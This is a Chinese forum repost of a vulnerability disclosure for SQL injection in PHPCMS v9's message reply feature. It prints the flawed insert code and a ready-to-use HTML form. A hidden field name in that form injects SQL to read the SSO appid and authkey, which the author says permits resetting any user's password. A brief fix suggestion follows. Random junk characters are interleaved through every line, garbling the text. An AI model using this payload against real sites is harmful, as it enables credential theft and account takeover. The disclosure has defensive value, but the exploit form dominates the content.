|
简要描述:
& H+ R% l; e+ O" D4 {8 H6 ]5 }8 s7 \' X7 Q5 B/ U
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
/ N& Z7 P0 L& f- p
6 f* b- ^! G& K, ?& }, J/ F4 f明天再更新下一个漏洞。
/ I& P8 h9 L' x; y* i( G1 L8 X详细说明:. e3 k, r0 ~* q! ]' \* s
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
1 F; m- V' p2 |. A
6 L) w7 h; C: A$ b: _$messageid = $this->message_db->insert($_POST['info'],true);
, R: v: k6 B. I, t9 w
6 f- Q+ \2 S7 h
# y, O; u, H/ X5 T5 f A8 F" d6 ?insert方法是key value的,代码如下:4 b4 N! B* `+ I8 j
; v6 K6 o( j8 s& A: b( V7 j
public function insert($data, $table, $return_insert_id = false, $replace = false) {! H ]+ V" |' r& b" \2 s g* r$ C( A. @
if(!is_array( $data ) || $table == '' || count($data) == 0) {) S5 I! y3 E( \" |/ g( s# k8 c- F. R
return false;6 w, k( N4 H/ {" g" c
}
* N/ }: e& ^* N9 N( T0 T3 I
. {' c2 U' ?8 r $fielddata = array_keys($data);
; |4 _6 E) p- m $valuedata = array_values($data);
; v# Q' J, X8 J: Q: z" v array_walk($fielddata, array($this, 'add_special_char'));
9 _' ~; K: T) U" | array_walk($valuedata, array($this, 'escape_string'));* @; A& t2 _$ U# x8 f
! f9 Q$ g7 P0 c4 x' a/ H $field = implode (',', $fielddata);- K2 @3 S1 | `. x
$value = implode (',', $valuedata);
- a0 A$ A& u. s1 J& h6 T+ \/ V8 X) E) ^4 N' ~0 y
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';) R# K8 |9 V8 @, y. e
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';: s7 K4 z- Q: ~% g+ a) g8 T' S$ Q4 h
$return = $this->execute($sql);; [% U, M. Y' U v G# L4 y! W
return $return_insert_id ? $this->insert_id() : $return;
4 \% D/ B1 [1 Y# h }, K$ }6 h' [8 D4 D) N
* q8 z% x: Z! Q, r
$ O# ?$ s- h8 C& ]嗯,很遗憾的是
/ C9 \4 S% i0 P" J) Q* {( x
6 o* m* J* H; X/ Xarray_walk($fielddata, array($this, 'add_special_char'));
- T6 E u, l3 D. S
. i( j6 o) H# n. b# H" d6 K+ {5 C% g* P( N" h
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。: n6 U, |2 p7 C+ j9 G
5 ?* l$ h& y" _$ W到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
2 s% ]9 g: R j$ N9 e
! c8 v) X3 Q, Z& ~) Q3 O- Z漏洞证明:
0 I9 i9 |5 B& a2 Q读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。6 k( W9 `( G/ G: J3 z
! q' w4 o9 {0 G+ `8 J/ n
( I& S' ~/ B4 m# G表单如下:用户名什么的得自己改一改。) c) }: I; s% c- S/ B& F# j
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
[& ~" @8 H L w$ j<table width="100%" cellspacing="0" class="table_form">- n! y# v3 U$ w$ l y
<tr>5 y& \1 d0 j% F) [
<th>标 题:</th>8 g- Y- |9 f3 P; C" \
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>; p9 M+ }' n9 N2 L8 z) T
</tr>
3 Q: E% Y L1 P' h. V<tr>
`7 {: `' u- u+ I<th>内 容:</th>
( L; r8 r1 O& Z8 L<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
5 U% f. ]1 P+ @% O, @. K; J</tr>
( v9 a& y6 {) ~+ ?! a<input type="hidden" name="info[replyid]" value="2" />
1 b: H2 P1 u2 i/ `- s' s! V% E<input type="hidden" name="info[send_to_id]" value="cc" /> 0 P' u& p; L0 I' m9 Q7 z) F; H: n+ ?
<input type="hidden" name="info[send_from_id]" value="hh">
4 w8 c* ]8 h0 u6 A J6 C& j<!-- 漏洞的利用重点在这里开始 -->
`' T8 q( J# D Q; g% q# O<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 7 x, W! X% o- |& B. {! C# i
<!-- 漏洞的利用重点在这里结束 -->
2 h- c5 M7 c+ a* b# q7 h<tr>
' b6 T8 y3 M& W7 b0 a- s<th>验证码:</th>4 n8 ^- H. O( O/ B7 h9 U7 X7 M9 ^
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>9 T, x8 z% ^) t! }+ C$ G
</tr>! w, K$ I+ E: d6 z) Z$ U, S& s# O
<tr>
6 E& b( s3 C8 @<td></td>
8 x, y$ N3 d7 Y% x<td colspan="2"><label>2 u4 M8 H$ e7 e( M9 w* Q! C/ p
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
6 r0 m: M) H8 e</label></td>4 p% y) h7 j& Z7 F5 y5 I/ ^
</tr>0 k! i5 A( X% ~
</table>
6 b* ?- R7 m0 m6 c3 g7 l</form>
$ s+ `: Y9 W+ W4 t在add_special_char函数内对key做过滤就可以了。9 J8 O/ }; y4 o- \ Z4 o
! N# o, l2 y2 u m2 z" z& @& f- X& J3 j# r$ Y; Y
2 j4 |$ G# q- s) k# _8 Z |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|